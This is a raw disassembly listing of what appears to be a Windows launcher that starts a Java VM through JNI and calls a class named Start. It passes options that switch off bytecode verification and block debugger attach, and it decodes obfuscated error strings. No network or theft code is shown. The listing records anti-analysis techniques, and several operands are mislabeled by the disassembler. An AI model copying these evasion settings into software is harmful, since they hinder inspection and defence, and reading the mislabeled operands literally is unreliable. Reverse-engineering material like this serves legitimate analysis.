mov ecx, 0x16
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14000d21e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dac4
mov rcx, rax
call fcn.140017ff0
test rax, rax
je 0x14000d217
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000d22b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000d228
call fcn.140017ff0
mov rbx, rax
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rdi
movups xmm0, xmmword [str._Djava.library.path]
movups xmmword [rbx], xmm0
mov eax, dword [0x140021568]
mov dword [rbx + 0x10], eax
lea rcx, [rbx + 0x14]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov r8d, 7
lea rdx, str.natives
lea rcx, [rbp + 0x170]
call fcn.1400064b0
xor r8d, r8d
mov qword [rbp + 0x790], r8
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x7a0], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x790], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x7a0], xmm1
mov qword [rax + 0x10], r8
mov qword [rax + 0x18], setsockopt
mov byte [rax], r8b
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x14000d2fc
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d3d1
call fcn.140018284
xor r8d, r8d
mov qword [rbp + 0x180], r8
mov qword [rbp + 0x188], setsockopt
mov byte [rbp + 0x170], 0
mov r14, qword [rbp + 0x780]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 4
jb 0x14000daca
lea r15, [rbp + 0x770]
cmp qword [rbp + 0x788], 0x10
cmovae r15, qword [rbp + 0x770]
mov qword [rbp + 0x110], r8
mov qword [rbp + 0x120], r8
mov qword [rbp + 0x128], r8
lea rsi, [r14 + 4]
mov edi, 0xf
lea rbx, [rbp + 0x110]
cmp rsi, rdi
jbe 0x14000d3f1
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000d388
mov rdi, rcx
jmp 0x14000d395
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14000d3d8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000da82
mov rcx, rax
call fcn.140017ff0
test rax, rax
je 0x14000d3d1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000d3ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000d3e7
call fcn.140017ff0
mov rbx, rax
jmp 0x14000d3ea
mov rbx, r8
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], rdi
mov dword [rbx], 0x786d582d
lea rcx, [rbx + 4]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov r8d, 1
lea rdx, [0x140021570]
lea rcx, [rbp + 0x110]
call fcn.1400064b0
xor r14d, r14d
mov qword [rbp + 0x7f0], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x800], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x7f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x800], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], setsockopt
mov byte [rax], r14b
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x14000d4ae
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], setsockopt
mov byte [rbp + 0x110], 0
lea rdi, [rbp + 0x7f0]
cmp qword [rbp + 0x808], 0x10
cmovae rdi, qword [rbp + 0x7f0]
mov qword [rbp + 0x810], r14
movdqa xmm0, xmmword [0x140021d60]
movdqu xmmword [rbp + 0x820], xmm0
mov byte [rbp + 0x810], 0
mov r8d, 0xd
lea rdx, str._Xverify:none
lea rcx, [rbp + 0x810]
call fcn.140006350
nop
lea rbx, [rbp + 0x810]
cmp qword [rbp + 0x828], 0x10
cmovae rbx, qword [rbp + 0x810]
mov qword [rbp + 0x630], r14
mov qword [rbp + 0x640], r14
mov qword [rbp + 0x648], setsockopt
mov byte [rbp + 0x630], 0
mov r8d, 0x1b
lea rdx, str._XX:DisableAttachMechanism
lea rcx, [rbp + 0x630]
call fcn.140006350
nop
lea rcx, [rbp + 0x630]
cmp qword [rbp + 0x648], 0x10
cmovae rcx, qword [rbp + 0x630]
lea rax, [rbp + 0x790]
cmp qword [rbp + 0x7a8], 0x10
cmovae rax, qword [rbp + 0x790]
mov qword [rbp + 0xde0], r12
mov qword [rbp + 0xdf0], rax
mov qword [rbp + 0xe00], rdi
mov qword [rbp + 0xe10], rbx
mov qword [rbp + 0xe20], rcx
lea rax, [rbp + 0xde0]
mov qword [rbp + 0x548], rax
mov dword [rbp + 0x544], 5
mov byte [rbp + 0x550], 0
mov dword [rbp + 0x540], 0x10008
lea r8, [rbp + 0x540]
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x558]
call qword [0x14002f700]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rcx, qword [rbp + 0x538]
mov rax, qword [rcx]
lea rdx, str.Start
call qword [rax + 0x30]
mov rsi, rax
mov rcx, qword [rbp + 0x538]
mov r10, qword [rcx]
lea r9, str.__Ljava_lang_String__V
lea r8, str.main
mov rdx, rax
call qword [r10 + 0x388]
mov rdi, rax
mov rcx, qword [rbp + 0x538]
mov r8, qword [rcx]
lea rdx, [0x140020a10]
call qword [r8 + 0x538]
mov rbx, rax
mov rcx, qword [rbp + 0x538]
mov r8, qword [rcx]
lea rdx, str.java_lang_String
call qword [r8 + 0x30]
mov rcx, qword [rbp + 0x538]
mov r10, qword [rcx]
mov r9, rbx
mov r8, rax
mov edx, 0xc
call qword [r10 + 0x560]
mov rbx, rax
lea rdx, [rbp + 0x5f0]
cmp qword [rbp + 0x608], 0x10
cmovae rdx, qword [rbp + 0x5f0]
mov rcx, qword [rbp + 0x538]
mov r8, qword [rcx]
call qword [r8 + 0x538]
mov rcx, qword [rbp + 0x538]
mov r10, qword [rcx]
mov r9, rax
xor r8d, r8d
mov rdx, rbx
call qword [r10 + 0x570]
mov r9, rbx
mov r8, rdi
mov rdx, rsi
mov rcx, qword [rbp + 0x538]
call fcn.140008f00
mov rdi, qword [rbp + 0x538]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x720]
test al, al
je 0x14000d75a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x78]
mov rbx, rax
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx + 0x88]
mov r8, qword [rdi]
mov rdx, rbx
mov rcx, rdi
call qword [r8 + 0xf8]
mov r10, qword [rdi]
lea r9, [0x140021404]
lea r8, str.printStackTrace
mov rdx, rax
mov rcx, rdi
call qword [r10 + 0x108]
mov r8, rax
mov rdx, rbx
mov rcx, rdi
call fcn.140008ed0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov r8, qword [rbp + 0x648]
cmp r8, 0x10
jb 0x14000d784
inc r8
mov rdx, qword [rbp + 0x630]
call fcn.140006530
mov qword [rbp + 0x640], r14
mov qword [rbp + 0x648], setsockopt
mov byte [rbp + 0x630], 0
lea rcx, [rbp + 0x810]
call fcn.140005d40
nop
lea rcx, [rbp + 0x7f0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x790]
call fcn.140005d40
nop
lea rcx, [rbp + 0x6f0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x710]
call fcn.140005d40
nop
lea rcx, [rbp + 0x830]
call fcn.14000e7f0
nop
lea rcx, [rbp + 0x6b0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x730]
call fcn.140005d40
nop
lea rcx, [rbp + 0x750]
call fcn.140005d40
nop
lea rcx, [rbp + 0xcd0]
call fcn.14000dba0
nop
lea rcx, [rbp + 0x770]
call fcn.140005d40
nop
lea rcx, [rbp + 0xaa0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x7d0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x5b0]
call fcn.14000e7f0
nop
lea rcx, [rbp + 0x7b0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x850]
call fcn.140005d40
nop
lea rcx, [rbp + 0x8a0]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x610]
call fcn.140005d40
nop
lea rcx, [rbp + 0x5d0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x870]
call fcn.140005d40
nop
lea rcx, [rbp + 0xac0]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x650]
call fcn.140005d40
nop
lea rcx, [rbp + 0x670]
call fcn.140005d40
nop
lea rcx, [rbp + 0x690]
call fcn.140005d40
nop
lea rcx, [rbp + 0x5f0]
call fcn.140005d40
nop
lea rcx, [rbp + 0x590]
call fcn.140005d40
nop
lea rcx, [rbp + 0xbc0]
call fcn.14000db30
nop
lea rcx, [rbp + 0x570]
call fcn.140005d40
jmp 0x14000c17c
mov dword [rbp - 0x60], 0x2339380c
mov word [rbp - 0x5c], 0x3f
mov byte [rbp - 0x5a], 1
movdqa xmm0, xmmword [0x140021e80]
movdqu xmmword [rbp + 0x4c8], xmm0
movdqa xmm1, xmmword [str._4__18]
movdqu xmmword [rbp + 0x4d8], xmm1
movdqa xmm0, xmmword [0x140021ef0]
movdqu xmmword [rbp + 0x4e8], xmm0
mov word [rbp + 0x4f8], pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call fcn.14000db00
mov r8, rax
lea rcx, [rbp + 0x4c8]
call fcn.14000dad0
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rbp - 0x58], 0x2339380c
mov word [rbp - 0x54], 0x3f
mov byte [rbp - 0x52], 1
movdqa xmm0, xmmword [0x140021e80]
movdqu xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [str._4__18]
movdqu xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [0x140021ef0]
movdqu xmmword [rbp + 0x4b0], xmm0
mov word [rbp + 0x4c0], pe_nt_image_headers64
lea rcx, [rbp - 0x58]
call fcn.14000db00
mov r8, rax
lea rcx, [rbp + 0x490]
call fcn.14000dad0
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rbp - 0x50], 0x2339380c
mov word [rbp - 0x4c], 0x3f
mov byte [rbp - 0x4a], 1
movdqa xmm0, xmmword [0x140021e80]
movdqu xmmword [rbp + 0x458], xmm0
movdqa xmm1, xmmword [str._4__18]
movdqu xmmword [rbp + 0x468], xmm1
movdqa xmm0, xmmword [0x140021ef0]
movdqu xmmword [rbp + 0x478], xmm0
mov word [rbp + 0x488], pe_nt_image_headers64
lea rcx, [rbp - 0x50]
call fcn.14000db00
mov r8, rax
lea rcx, [rbp + 0x458]
call fcn.14000dad0
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140001540
nop
call fcn.140001540
nop
call fcn.1400015e0
int3
call fcn.140001540
nop
call fcn.1400015e0
int3
call fcn.140001540
nop
call fcn.1400015e0
nop
call fcn.140001540
int3
call fcn.1400015e0
nop
call fcn.140001540
nop
call fcn.1400015e0
int3
call fcn.140001540
nop
call fcn.1400015e0
int3